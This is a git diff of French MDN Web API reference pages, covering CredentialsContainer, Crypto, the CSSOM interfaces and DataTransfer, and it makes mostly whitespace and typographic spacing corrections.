b/files/fr/web/api/credentialscontainer/preventsilentaccess/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/CredentialsContainer/preventSilentAccess --- {{APIRef("")}}{{SeeCompatTable}} -La méthode **`preventSilentAccess()`**, rattachée à l'interface {{domxref("CredentialsContainer")}}, permet de paramétrer une option pour indiquer si les connexions automatiques sont autorisées pour les futures visites à l'origine. Elle renvoie ensuite une promesse ({{jsxref("Promise")}}) vide. +La méthode **`preventSilentAccess()`**, rattachée à l'interface {{domxref("CredentialsContainer")}}, permet de paramétrer une option pour indiquer si les connexions automatiques sont autorisées pour les futures visites à l'origine. Elle renvoie ensuite une promesse ({{jsxref("Promise")}}) vide. Cette méthode peut, par exemple, être appelée lorsqu'un utilisateur se déconnecte d'un site web afin de s'assurer qu'il n'est pas reconnecté à la prochaine visite. Cette gestion doit être gérée pour chaque origine. diff --git a/files/fr/web/api/crossoriginisolated/index.md b/files/fr/web/api/crossoriginisolated/index.md index 073f4faa25..127a5affc1 100644 --- a/files/fr/web/api/crossoriginisolated/index.md +++ b/files/fr/web/api/crossoriginisolated/index.md @@ -6,9 +6,9 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/crossOriginIsolated --- {{APIRef()}}{{SeeCompatTable}} -La propriéte en lecture seule **`crossOriginIsolated`** de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne une valeur booléenne qui indique si un {{jsxref("SharedArrayBuffer")}} peut être envoyé via un appel à {{domxref("Window.postMessage()")}}. +La propriéte en lecture seule **`crossOriginIsolated`** de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne une valeur booléenne qui indique si un {{jsxref("SharedArrayBuffer")}} peut être envoyé via un appel à {{domxref("Window.postMessage()")}}. -Cette valeur est dépendante de toute entête {{httpheader("Cross-Origin-Opener-Policy")}} et {{httpheader("Cross-Origin-Embedder-Policy")}} présente dans la réponse. +Cette valeur est dépendante de toute entête {{httpheader("Cross-Origin-Opener-Policy")}} et {{httpheader("Cross-Origin-Embedder-Policy")}} présente dans la réponse. ## Syntaxe diff --git a/files/fr/web/api/crypto/getrandomvalues/index.md b/files/fr/web/api/crypto/getrandomvalues/index.md index 57e9c02508..220ae419fc 100644 --- a/files/fr/web/api/crypto/getrandomvalues/index.md +++ b/files/fr/web/api/crypto/getrandomvalues/index.md @@ -24,11 +24,11 @@ Pour garantir une performance suffisante, les implémentations n’utilisent pas ### Paramètres - _typedArray_ - - : Un {{jsxref("TypedArray")}} de nombres entiers, qui est un {{jsxref("Int8Array")}}, un {{jsxref("Uint8Array")}}, un {{jsxref("Uint16Array")}}, un {{jsxref("Int32Array")}}, ou encore un {{jsxref("Uint32Array")}}. Tous les éléments du tableau seront subsitués avec des nombres aléatoires. + - : Un {{jsxref("TypedArray")}} de nombres entiers, qui est un {{jsxref("Int8Array")}}, un {{jsxref("Uint8Array")}}, un {{jsxref("Uint16Array")}}, un {{jsxref("Int32Array")}}, ou encore un {{jsxref("Uint32Array")}}. Tous les éléments du tableau seront subsitués avec des nombres aléatoires. ### Exceptions -- Une {{exception("QuotaExceededError")}} {{domxref("DOMException")}} est levée si la taille de la requête est plus grand que 65 536 octets. +- Une {{exception("QuotaExceededError")}} {{domxref("DOMException")}} est levée si la taille de la requête est plus grand que 65 536 octets. ## Exemple @@ -40,7 +40,7 @@ window.crypto.getRandomValues(array); console.log("Your lucky numbers:"); for (var i = 0; i < array.length; i++) { - console.log(array[i]); + console.log(array[i]); } ``` @@ -56,5 +56,5 @@ for (var i = 0; i < array.length; i++) { ## Voir aussi -- {{ domxref("Window.crypto") }} pour obtenir un objet {{domxref("Crypto")}}. +- {{ domxref("Window.crypto") }} pour obtenir un objet {{domxref("Crypto")}}. - {{jsxref("Math.random")}}, une source non cryptographique de nombres aléatoires. diff --git a/files/fr/web/api/crypto_property/index.md b/files/fr/web/api/crypto_property/index.md index 2f968ce1ff..359d529773 100644 --- a/files/fr/web/api/crypto_property/index.md +++ b/files/fr/web/api/crypto_property/index.md @@ -6,7 +6,7 @@ original_slug: Web/API/Window/crypto --- {{APIRef}} -La propriété, en lecture seule, {{domxref("Window.crypto")}} retourne l'objet {{domxref("Crypto")}} associé à l'objet global. Cet objet permet aux pages web d'avoir un accès à certains services liés à cryptographie. +La propriété, en lecture seule, {{domxref("Window.crypto")}} retourne l'objet {{domxref("Crypto")}} associé à l'objet global. Cet objet permet aux pages web d'avoir un accès à certains services liés à cryptographie. ## Syntaxe diff --git a/files/fr/web/api/cryptokey/index.md b/files/fr/web/api/cryptokey/index.md index fa771b7c25..c56d64655c 100644 --- a/files/fr/web/api/cryptokey/index.md +++ b/files/fr/web/api/cryptokey/index.md @@ -19,11 +19,11 @@ Un objet `CryptoKey` peut être obtenu en utilisant : {{domxref("SubtleCrypto.ge _Cette interface n'hérite d'aucune propriété._ - {{domxref("CryptoKey.type")}} - - : Retourne une énumération de valeurs représentant un type de clef, une clef secrète (pour un algorithme symétriques), une clef publique ou privée (pour un algorithme asymétrique) + - : Retourne une énumération de valeurs représentant un type de clef, une clef secrète (pour un algorithme symétriques), une clef publique ou privée (pour un algorithme asymétrique) - {{domxref("CryptoKey.extractable")}} - : Retourne un {{jsxref("booléen")}} indiquant si l'information peut être extraite de l'application ou non. - {{domxref("CryptoKey.algorithm")}} - - : Retourne un objet opaque représentant un chiffre particulier avec lequel la clé doit être utilisée avec. + - : Retourne un objet opaque représentant un chiffre particulier avec lequel la clé doit être utilisée avec. - {{domxref("CryptoKey.usages")}} - : Retourne un tableau contenant une énumération de valeurs indiquant quel est la clé qui peut être utilisée. diff --git a/files/fr/web/api/css_font_loading_api/index.md b/files/fr/web/api/css_font_loading_api/index.md index 017510ce92..b4aba0224b 100644 --- a/files/fr/web/api/css_font_loading_api/index.md +++ b/files/fr/web/api/css_font_loading_api/index.md @@ -7,7 +7,7 @@ translation_of: Web/API/CSS_Font_Loading_API L'API CSS Font Loading API fournit des évènements et interfaces pour le chargement dynamique des ressources associées aux polices. -> **Note :** cette fonctionnalité est disponible dans [l'API Web Workers](/fr/docs/Web/API/Web_Workers_API) (`self.fonts` donne accès à {{domxref('FontFaceSet')}}). +> **Note :** cette fonctionnalité est disponible dans [l'API Web Workers](/fr/docs/Web/API/Web_Workers_API) (`self.fonts` donne accès à {{domxref('FontFaceSet')}}). ## Interfaces diff --git a/files/fr/web/api/css_object_model/determining_the_dimensions_of_elements/index.md b/files/fr/web/api/css_object_model/determining_the_dimensions_of_elements/index.md index a462fb28d2..7f2131520b 100644 --- a/files/fr/web/api/css_object_model/determining_the_dimensions_of_elements/index.md +++ b/files/fr/web/api/css_object_model/determining_the_dimensions_of_elements/index.md @@ -23,7 +23,7 @@ A titre d'exemple, si l'élément a `width: 100px;` et `transform: scale(0.5);` ## Quelle est la taille du contenu affiché ? -Si vous avez besoin de savoir combien prend d'espace le contenu réel affiché, y compris le rembourrage mais sans les frontières, les marges, ou les barres de défilement, vous pouvez utiliser les propriétés [`clientWidth`](/fr/DOM/element.clientWidth) et [`clientHeight`](/fr/DOM/element.clientHeight) : +Si vous avez besoin de savoir combien prend d'espace le contenu réel affiché, y compris le rembourrage mais sans les frontières, les marges, ou les barres de défilement, vous pouvez utiliser les propriétés [`clientWidth`](/fr/DOM/element.clientWidth) et [`clientHeight`](/fr/DOM/element.clientHeight) :  diff --git a/files/fr/web/api/css_object_model/index.md b/files/fr/web/api/css_object_model/index.md index e4d30ca91e..abbb92efb9 100644 --- a/files/fr/web/api/css_object_model/index.md +++ b/files/fr/web/api/css_object_model/index.md @@ -49,7 +49,7 @@ Le **CSS Object Model** est un ensemble d’API permettant de manipuler le CSS d - {{domxref("StylesheetList")}} - {{domxref("TransitionEvent")}} -Quelques autres interfaces sont également étentues par les spécifications relatives au CSSOM : {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, et {{domxref("SVGElement")}}. +Quelques autres interfaces sont également étentues par les spécifications relatives au CSSOM : {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, et {{domxref("SVGElement")}}. ## Tutoriels @@ -60,17 +60,17 @@ Quelques autres interfaces sont également étentues par les spécifications rel | Spécification | Statut | Commentaire | | ------------------------------------------------ | -------------------------------------------- | ----------- | -| {{SpecName("CSSOM")}} | {{Spec2("CSSOM")}} | | -| {{SpecName("CSSOM View")}} | {{Spec2("CSSOM View")}} | | -| {{SpecName("Screen Orientation")}} | {{Spec2("Screen Orientation")}} | | -| {{SpecName("CSS3 Fonts")}} | {{Spec2("CSS3 Fonts")}} | | -| {{SpecName("CSS3 Animations")}} | {{Spec2("CSS3 Animations")}} | | -| {{SpecName("CSS3 Transitions")}} | {{Spec2("CSS3 Transitions")}} | | -| {{SpecName("CSS3 Variables")}} | {{Spec2("CSS3 Variables")}} | | -| {{SpecName("CSS3 Conditional")}} | {{Spec2("CSS3 Conditional")}} | | -| {{SpecName("CSS3 Device")}} | {{Spec2("CSS3 Device")}} | | -| {{SpecName("CSS3 Counter Styles")}} | {{Spec2("CSS3 Counter Styles")}} | | +| {{SpecName("CSSOM")}} | {{Spec2("CSSOM")}} | | +| {{SpecName("CSSOM View")}} | {{Spec2("CSSOM View")}} | | +| {{SpecName("Screen Orientation")}} | {{Spec2("Screen Orientation")}} | | +| {{SpecName("CSS3 Fonts")}} | {{Spec2("CSS3 Fonts")}} | | +| {{SpecName("CSS3 Animations")}} | {{Spec2("CSS3 Animations")}} | | +| {{SpecName("CSS3 Transitions")}} | {{Spec2("CSS3 Transitions")}} | | +| {{SpecName("CSS3 Variables")}} | {{Spec2("CSS3 Variables")}} | | +| {{SpecName("CSS3 Conditional")}} | {{Spec2("CSS3 Conditional")}} | | +| {{SpecName("CSS3 Device")}} | {{Spec2("CSS3 Device")}} | | +| {{SpecName("CSS3 Counter Styles")}} | {{Spec2("CSS3 Counter Styles")}} | | ## Notes sur la compatibilité des navigateurs -Toutes ces fonctionnalités ont été ajoutées petit à petit au fil des années dans les différents navigateurs : ce fut un processus assez complexe, impossible à résumer en un simple tableau. Veuillez vous référer aux interfaces spécifiques pour connaître leurs disponibilités. +Toutes ces fonctionnalités ont été ajoutées petit à petit au fil des années dans les différents navigateurs : ce fut un processus assez complexe, impossible à résumer en un simple tableau. Veuillez vous référer aux interfaces spécifiques pour connaître leurs disponibilités. diff --git a/files/fr/web/api/css_object_model/managing_screen_orientation/index.md b/files/fr/web/api/css_object_model/managing_screen_orientation/index.md index 3af0577eb9..d9e1f30897 100644 --- a/files/fr/web/api/css_object_model/managing_screen_orientation/index.md +++ b/files/fr/web/api/css_object_model/managing_screen_orientation/index.md @@ -139,7 +139,7 @@ screen.addEventListener("orientationchange", function () { Toute application web peut verrouiller l'écran dans une orientation pour répondre à ses besoins. L'écran est verrouillé en utilisant la méthode {{domxref("Screen.lockOrientation()")}} et dévérouillé en utilisant {{domxref("Screen.unlockOrientation()")}}. -{{domxref("Screen.lockOrientation()")}} accepte une chaîne de caractères (ou une série de chaînes de caractères) pour définir le type de verrouillage à appliquer. Les valeurs acceptées sont: `portrait-primary`, `portrait-secondary`, `landscape-primary`, `landscape-secondary`, `portrait`, `landscape` (Voir {{domxref("Screen.lockOrientation")}} pour en savoir plus sur ces valeurs). +{{domxref("Screen.lockOrientation()")}} accepte une chaîne de caractères (ou une série de chaînes de caractères) pour définir le type de verrouillage à appliquer. Les valeurs acceptées sont: `portrait-primary`, `portrait-secondary`, `landscape-primary`, `landscape-secondary`, `portrait`, `landscape` (Voir {{domxref("Screen.lockOrientation")}} pour en savoir plus sur ces valeurs). ```js screen.lockOrientation('landscape'); diff --git a/files/fr/web/api/css_properties_and_values_api/index.md b/files/fr/web/api/css_properties_and_values_api/index.md index eab131b831..da0e43683f 100644 --- a/files/fr/web/api/css_properties_and_values_api/index.md +++ b/files/fr/web/api/css_properties_and_values_api/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/CSS_Properties_and_Values_API ## Exemples -L'exemple suivant utilise {{domxref('CSS.registerProperty')}} en [JavaScript](/fr/docs/Web/JavaScript) pour typer une [propriété CSS personnalisée](/fr/docs/Web/CSS/--*), `--ma-couleur` en tant que couleur et que valeur par défaut, sans lui permettre d'hériter de sa valeur : +L'exemple suivant utilise {{domxref('CSS.registerProperty')}} en [JavaScript](/fr/docs/Web/JavaScript) pour typer une [propriété CSS personnalisée](/fr/docs/Web/CSS/--*), `--ma-couleur` en tant que couleur et que valeur par défaut, sans lui permettre d'hériter de sa valeur : ```js window.CSS.registerProperty({ @@ -25,7 +25,7 @@ window.CSS.registerProperty({ }); ``` -Le même enregistrement peut se faire en [CSS](/fr/docs/Web/CSS) en utilisant la règle [at-rule](/fr/docs/Web/CSS/At-rule) {{cssxref('@property')}} : +Le même enregistrement peut se faire en [CSS](/fr/docs/Web/CSS) en utilisant la règle [at-rule](/fr/docs/Web/CSS/At-rule) {{cssxref('@property')}} : ```css @property --ma-couleur { diff --git a/files/fr/web/api/cssmediarule/index.md b/files/fr/web/api/cssmediarule/index.md index b16fdeb972..e3bf59727a 100644 --- a/files/fr/web/api/cssmediarule/index.md +++ b/files/fr/web/api/cssmediarule/index.md @@ -35,7 +35,7 @@ En tant que {{domxref("CSSConditionRule") }}, et donc à la fois {{domxref("CSSG | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------ | ---------------------------------------- | ------------------------------------------------------------------- | -| {{ SpecName('CSS3 Conditional', '#the-cssmediarule-interface', 'CSSMediaRule') }} | {{ Spec2('CSS3 Conditional')}} | Dérivé de la règle {{domxref("CSSConditionRule")}}. | +| {{ SpecName('CSS3 Conditional', '#the-cssmediarule-interface', 'CSSMediaRule') }} | {{ Spec2('CSS3 Conditional')}} | Dérivé de la règle {{domxref("CSSConditionRule")}}. | | {{ SpecName('CSSOM', '#the-cssmediarule-interface', 'CSSMediaRule') }} | {{ Spec2('CSSOM') }} | Aucun changement par rapport à {{SpecName('DOM2 Style')}} | | {{SpecName('DOM2 Style', 'css.html#CSS-CSSMediaRule', 'CSSMediaRule') }} | {{ Spec2('DOM2 Style') }} | | diff --git a/files/fr/web/api/cssrulelist/index.md b/files/fr/web/api/cssrulelist/index.md index bf637d5319..379fbb1ddd 100644 --- a/files/fr/web/api/cssrulelist/index.md +++ b/files/fr/web/api/cssrulelist/index.md @@ -10,7 +10,7 @@ A `CSSRuleList` est un objet de type tableau contenant une collection ordonnée ## Description -Chaque règle `CSSRule` peut être atteinte via `rules.item(index),` ou simplement `rules[index]`, où `rules` est un objet implementant l'interface `CSSRuleList`, et `index` est l'index de la règle (commence à zéro comme les tableaux), dans l'ordre dans lequel elle apparait dans la feuille de style CSS. Le nombre d'objets est `rules.length`. +Chaque règle `CSSRule` peut être atteinte via `rules.item(index),` ou simplement `rules[index]`, où `rules` est un objet implementant l'interface `CSSRuleList`, et `index` est l'index de la règle (commence à zéro comme les tableaux), dans l'ordre dans lequel elle apparait dans la feuille de style CSS. Le nombre d'objets est `rules.length`. ## Exemple diff --git a/files/fr/web/api/cssstyledeclaration/csstext/index.md b/files/fr/web/api/cssstyledeclaration/csstext/index.md index da6bbcc30d..c58e945a28 100644 --- a/files/fr/web/api/cssstyledeclaration/csstext/index.md +++ b/files/fr/web/api/cssstyledeclaration/csstext/index.md @@ -7,7 +7,7 @@ A ne pas confondre avec la règle de style de feuille de style {{domxref("CSSRul {{APIRef("CSSOM") }} -**cssText** retourne ou définit seulement le texte de la déclaration de style **inline** de l'élément. Pour pouvoir définir dynamiquement une règle d'une **stylesheet**, voir [Utilisation d'informations de mise en forme dynamiques.](/fr-FR/docs/DOM/Using_dynamic_styling_information) +**cssText** retourne ou définit seulement le texte de la déclaration de style **inline** de l'élément. Pour pouvoir définir dynamiquement une règle d'une **stylesheet**, voir [Utilisation d'informations de mise en forme dynamiques.](/fr-FR/docs/DOM/Using_dynamic_styling_information) ## Syntaxe diff --git a/files/fr/web/api/cssstyledeclaration/index.md b/files/fr/web/api/cssstyledeclaration/index.md index 56ddcfcab1..d071804a69 100644 --- a/files/fr/web/api/cssstyledeclaration/index.md +++ b/files/fr/web/api/cssstyledeclaration/index.md @@ -12,10 +12,10 @@ translation_of: Web/API/CSSStyleDeclaration --- {{ APIRef("CSSOM") }} -`CSSStyleDeclaration` représente une collection de paires propriété/valeur CSS. Elle est utilisée dans quelques API : +`CSSStyleDeclaration` représente une collection de paires propriété/valeur CSS. Elle est utilisée dans quelques API : -- {{domxref("HTMLElement.style")}} - pour manipuler le style d'un seul élément (\<elem style="...">) ; -- (AFAIRE : à reformuler) est une interface avec le [declaration block](http://www.w3.org/TR/1998/REC-CSS2-19980512/syndata.html#block) renvoyé par la propriété [`style`](/en/DOM/cssRule.style) d'une `cssRule` dans une [feuille de style](/fr/docs/Web/API/StyleSheet), lorsque la règle est une [CSSStyleRule](/en/DOM/cssRule#CSSStyleRule) ; +- {{domxref("HTMLElement.style")}} - pour manipuler le style d'un seul élément (\<elem style="...">) ; +- (AFAIRE : à reformuler) est une interface avec le [declaration block](http://www.w3.org/TR/1998/REC-CSS2-19980512/syndata.html#block) renvoyé par la propriété [`style`](/en/DOM/cssRule.style) d'une `cssRule` dans une [feuille de style](/fr/docs/Web/API/StyleSheet), lorsque la règle est une [CSSStyleRule](/en/DOM/cssRule#CSSStyleRule) ; - `CSSStyleDeclaration` est également une interface en **lecture seule** pour le résultat de [window.getComputedStyle()](/fr/docs/Web/API/Window/getComputedStyle). ## Attributs @@ -68,5 +68,5 @@ Le bloc de déclaration est la partie de la règle de mise en forme qui apparaî | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | -------------------- | -| {{SpecName('CSSOM', '#the-cssstyledeclaration-interface', 'CSSStyleDeclaration')}} | {{Spec2('CSSOM')}} | | +| {{SpecName('CSSOM', '#the-cssstyledeclaration-interface', 'CSSStyleDeclaration')}} | {{Spec2('CSSOM')}} | | | {{SpecName('DOM2 Style', 'css.html#CSS-CSSStyleDeclaration', 'CSSPrimitiveValue')}} | {{Spec2('DOM2 Style')}} | Définition initiale. | diff --git a/files/fr/web/api/cssstylerule/index.md b/files/fr/web/api/cssstylerule/index.md index 4e7b4c9cd0..e22916eec4 100644 --- a/files/fr/web/api/cssstylerule/index.md +++ b/files/fr/web/api/cssstylerule/index.md @@ -12,8 +12,8 @@ CSSStyleRule représente une règle de style CSS unique. Il implémente l'interf La syntaxe est décrite à l'aide du format WebIDL. interface CSSStyleRule : CSSRule { - attribute DOMString selectorText; - readonly attribute CSSStyleDeclaration style; + attribute DOMString selectorText; + readonly attribute CSSStyleDeclaration style; }; ## Properties @@ -28,7 +28,7 @@ La syntaxe est décrite à l'aide du format WebIDL. | Specification | Status | Comment | | -------------------------------------------------------------------------------------------- | -------------------------------- | ----------------- | | {{ SpecName('CSSOM', '#the-cssstylerule-interface', 'CSSStyleRule') }} | {{ Spec2('CSSOM') }} | pas de changement | -| {{ SpecName('DOM2 Style', 'css.html#CSS-CSSStyleRule', 'CSSRule') }} | {{ Spec2('DOM2 Style') }} | | +| {{ SpecName('DOM2 Style', 'css.html#CSS-CSSStyleRule', 'CSSRule') }} | {{ Spec2('DOM2 Style') }} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/cssvaluelist/index.md b/files/fr/web/api/cssvaluelist/index.md index 678068ac0d..2d8390a365 100644 --- a/files/fr/web/api/cssvaluelist/index.md +++ b/files/fr/web/api/cssvaluelist/index.md @@ -23,13 +23,13 @@ Les éléments dans `CSSValueList` sont accessibles par un index integral commen _Hérite des propriétés de son parent {{domxref("CSSValue")}}_. -- {{domxref("CSSValueList.length")}} {{readonlyInline}} +- {{domxref("CSSValueList.length")}} {{readonlyInline}} - : Un `unsigned long` représentant le nombre de `CSSValues` (_valeurs CSS_) dans la liste. ## Méthodes - {{domxref("CSSValueList.item()")}} - - : Cette méthode est utilisée pour récupérer une {{domxref("CSSValue")}} _(valeur CSS_) par index ordinal. L'ordre dans cette collection représente l'ordre des valeurs dans la propriété de style CSS. Si index est supérieur ou égal au nombre de valeurs de la liste, elle renvoie `null`. + - : Cette méthode est utilisée pour récupérer une {{domxref("CSSValue")}} _(valeur CSS_) par index ordinal. L'ordre dans cette collection représente l'ordre des valeurs dans la propriété de style CSS. Si index est supérieur ou égal au nombre de valeurs de la liste, elle renvoie `null`. ## Spécifications diff --git a/files/fr/web/api/datatransfer/cleardata/index.md b/files/fr/web/api/datatransfer/cleardata/index.md index 4c2246a9f8..020ef1466b 100644 --- a/files/fr/web/api/datatransfer/cleardata/index.md +++ b/files/fr/web/api/datatransfer/cleardata/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/DataTransfer/clearData La méthode DataTransfer.clearData() retire l'opération de {{domxref("DataTransfer","glisser-déposer")}} pour le format donné. Si la donnée pour le format ciblé n'existe pas, cette méthode n'aura aucun effet. -> **Note :** Si cette méthode est appelée sans argument, ou que le format donné est une {{domxref("DOMString","chaîne de caractères")}} vide, les données de tous les formats seront retirées. +> **Note :** Si cette méthode est appelée sans argument, ou que le format donné est une {{domxref("DOMString","chaîne de caractères")}} vide, les données de tous les formats seront retirées. ## Syntaxe @@ -154,7 +154,7 @@ window.addEventListener('DOMContentLoaded', function () { | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName('HTML WHATWG', 'interaction.html#dom-datatransfer-cleardata','DataTransfer.clearData()')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', 'interaction.html#dom-datatransfer-cleardata','DataTransfer.clearData()')}} | {{Spec2('HTML WHATWG')}} | | | {{SpecName('HTML5.1', 'editing.html#dom-datatransfer-cleardata','DataTransfer.clearData()')}} | {{Spec2('HTML5.1')}} | Définition initiale | ## Compatibilité diff --git a/files/fr/web/api/datatransfer/files/index.md b/files/fr/web/api/datatransfer/files/index.md index 3be3abd508..e4db594b1c 100644 --- a/files/fr/web/api/datatransfer/files/index.md +++ b/files/fr/web/api/datatransfer/files/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/DataTransfer/files --- {{APIRef("HTML Drag and Drop API")}} -La propriété **`DataTransfer.files`** est une {{domxref("FileList","liste de fichier")}} issue d'une manipulation de glisser-déposer. Si l'opération n'inclut pas de fichier, alors la liste est vide. +La propriété **`DataTransfer.files`** est une {{domxref("FileList","liste de fichier")}} issue d'une manipulation de glisser-déposer. Si l'opération n'inclut pas de fichier, alors la liste est vide. Cette fonctionnalité peut être utilisée pour glisser des fichiers du bureau utilisateur au navigateur. @@ -34,7 +34,7 @@ Voici deux exemples : | Specification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-files", "files")}} | {{Spec2("HTML WHATWG")}} | | +| {{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-files", "files")}} | {{Spec2("HTML WHATWG")}} | | | {{SpecName("HTML5.1", "editing.html#dom-datatransfer-files", "files")}} | {{Spec2("HTML5.1")}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/datatransfer/index.md b/files/fr/web/api/datatransfer/index.md index 817fe3ae82..e210b7691c 100644 --- a/files/fr/web/api/datatransfer/index.md +++ b/files/fr/web/api/datatransfer/index.md @@ -6,9 +6,9 @@ tags: - Glisser-deposer translation_of: Web/API/DataTransfer --- -L'objet `DataTransfer` contient les données glissées au cours d'une opération de glisser-déposer. Il peut contenir un ou plusieurs éléments, du même type ou de types différents. Pour plus d'informations sur le glisser-déposer, voir [Glisser et déposer](/fr/docs/Glisser_et_d%C3%A9poser). +L'objet `DataTransfer` contient les données glissées au cours d'une opération de glisser-déposer. Il peut contenir un ou plusieurs éléments, du même type ou de types différents. Pour plus d'informations sur le glisser-déposer, voir [Glisser et déposer](/fr/docs/Glisser_et_d%C3%A9poser). -Cet objet est disponible depuis la propriété `dataTransfer` de tous les événements de glisser. Il ne peut pas être créé séparément. +Cet objet est disponible depuis la propriété `dataTransfer` de tous les événements de glisser. Il ne peut pas être créé séparément. ## Aperçu des proprietés @@ -191,52 +191,52 @@ Cet objet est disponible depuis la propriété `dataTransfer` de tous les év ### dropEffect -L'effet utilisé, qui doit toujours être l'une des valeurs possibles de `effectAllowed`. +L'effet utilisé, qui doit toujours être l'une des valeurs possibles de `effectAllowed`. -Pour les événements ` d``ragenter ` et `dragover`, la propriété `dropEffect` est initialisée en fonction des actions initiées par l'utilisateur. Ceci est spécifique à la plateforme, mais en général, l'utilisateur peut appuyer sur les touches de modification pour ajuster l'action souhaitée. Dans un gestionnaire d'événement ` d``ragenter ` et `dragover`, la propriété `dropEffect` peut être modifiée si l'action de l'utilisateur demandée n'est pas celle souhaitée. +Pour les événements ` d``ragenter ` et `dragover`, la propriété `dropEffect` est initialisée en fonction des actions initiées par l'utilisateur. Ceci est spécifique à la plateforme, mais en général, l'utilisateur peut appuyer sur les touches de modification pour ajuster l'action souhaitée. Dans un gestionnaire d'événement ` d``ragenter ` et `dragover`, la propriété `dropEffect` peut être modifiée si l'action de l'utilisateur demandée n'est pas celle souhaitée. -Pour les évènements `dragstart`, `drag`, and `dragleave` events, `dropEffect` est initialisé à "none". Toute valeur peut être assignée à `dropEffect`, mais elle sera ignorée. +Pour les évènements `dragstart`, `drag`, and `dragleave` events, `dropEffect` est initialisé à "none". Toute valeur peut être assignée à `dropEffect`, mais elle sera ignorée. -Pour les évènements `drop` et `dragend` , `dropEffect` est initialisé en fonction de l'action initiée, et correspond à la dernière valeur de `dropEffect` après le dernier événement `dragenter` ou `dragover`. +Pour les évènements `drop` et `dragend` , `dropEffect` est initialisé en fonction de l'action initiée, et correspond à la dernière valeur de `dropEffect` après le dernier événement `dragenter` ou `dragover`. Valeurs possibles: - **copy**: Une copie de l'élément source est faite au nouvel emplacement. - **move**: Un élément est déplacé vers un nouvel emplacement. -- **link**: Un lien est établi depuis la source vers le nouvel emplacement. +- **link**: Un lien est établi depuis la source vers le nouvel emplacement. - **none**: L'élément ne peut pas être déposé. -Attribuer une autre valeur n'a aucun effet et conserve l'ancienne valeur. +Attribuer une autre valeur n'a aucun effet et conserve l'ancienne valeur. ### effectAllowed -Indique les effets qui sont autorisés pour ce déplacer. Il peut être spécifié dans l'évènement `dragstart` pour définir les effets souhaités pour la source, et dans les événements `dragenter` et `dragover` pour définir les effets souhaités pour la cible. La valeur n'est pas utilisée pour d'autres événements. +Indique les effets qui sont autorisés pour ce déplacer. Il peut être spécifié dans l'évènement `dragstart` pour définir les effets souhaités pour la source, et dans les événements `dragenter` et `dragover` pour définir les effets souhaités pour la cible. La valeur n'est pas utilisée pour d'autres événements. Valeurs possibles: - **copy**: Une copie de l'élément source peut être faite à son nouvel emplacement. - **move**: Un élément peut être déplacé vers un nouvel emplacement. -- **link**: Un lien peut être établi vers la source depuis le nouvel emplacement. -- **copyLink**: Une opération copy ou link est autorisée. +- **link**: Un lien peut être établi vers la source depuis le nouvel emplacement. +- **copyLink**: Une opération copy ou link est autorisée. - **copyMove**: Une opération copy ou move est autorisée. -- **linkMove**: Une opération link ou move est autorisée. -- **all**: Toutes les opérations sont autorisées. +- **linkMove**: Une opération link ou move est autorisée. +- **all**: Toutes les opérations sont autorisées. - **none**: l'élément ne peut être déposé. -- **uninitialized**: la valeur par défaut lorsque l'effet n'a pas été spécifié, ce qui équivaut à all. +- **uninitialized**: la valeur par défaut lorsque l'effet n'a pas été spécifié, ce qui équivaut à all. -Attribuer une autre valeur n'a aucun effet et conserve l'ancienne valeur. +Attribuer une autre valeur n'a aucun effet et conserve l'ancienne valeur. ### files -Contient une liste de tous les fichiers locaux disponibles sur le transfert de données. Si le glisser n'implique pas de fichiers, cette propriété est une liste vide. Un accès à un index invalide sur le {{ domxref("FileList") }} spécifié par cette propriété renvoie `null`. +Contient une liste de tous les fichiers locaux disponibles sur le transfert de données. Si le glisser n'implique pas de fichiers, cette propriété est une liste vide. Un accès à un index invalide sur le {{ domxref("FileList") }} spécifié par cette propriété renvoie `null`. #### Exemple -Cet exemple retourne la liste des fichiers traînée dans la fenêtre du navigateur: <http://jsfiddle.net/9C2EF/> +Cet exemple retourne la liste des fichiers traînée dans la fenêtre du navigateur: <http://jsfiddle.net/9C2EF/> ### types -Contient une liste des types de format des données stockées pour le premier élément, dans le même ordre oú les données ont été ajoutées. Une liste vide sera retournée si aucune donnée n'a été ajoutée. +Contient une liste des types de format des données stockées pour le premier élément, dans le même ordre oú les données ont été ajoutées. Une liste vide sera retournée si aucune donnée n'a été ajoutée. L'état du curseur au cours d'un glisser. Cette propriété est surtout utilisée pour contrôler le curseur au cours d'un glisser d'onglet. @@ -253,27 +253,27 @@ L'état du curseur au cours d'un glisser. Cette propriété est surtout utilisé ### mozItemCount -Le nombre d'éléments glissés. +Le nombre d'éléments glissés. -> **Note :** Cette propriété est spécifique a Gecko. +> **Note :** Cette propriété est spécifique a Gecko. ### mozSourceNode -le {{ domxref("Node") }} au dessus duquel le curseur de la souris se trouvait lorsque le bouton a été pressé pour initialiser le glisser. Cette valeur est nulle pour un glisser externe, ou si l'appelant ne peut pas accéder au nœud. +le {{ domxref("Node") }} au dessus duquel le curseur de la souris se trouvait lorsque le bouton a été pressé pour initialiser le glisser. Cette valeur est nulle pour un glisser externe, ou si l'appelant ne peut pas accéder au nœud. -> **Note :** Cette propriété est spécifique a Gecko. +> **Note :** Cette propriété est spécifique a Gecko. ### mozUserCancelled -Cette propriété s'applique uniquement à l'événement `dragend`, et est positionnée à `true` si l'utilisateur a annulé le 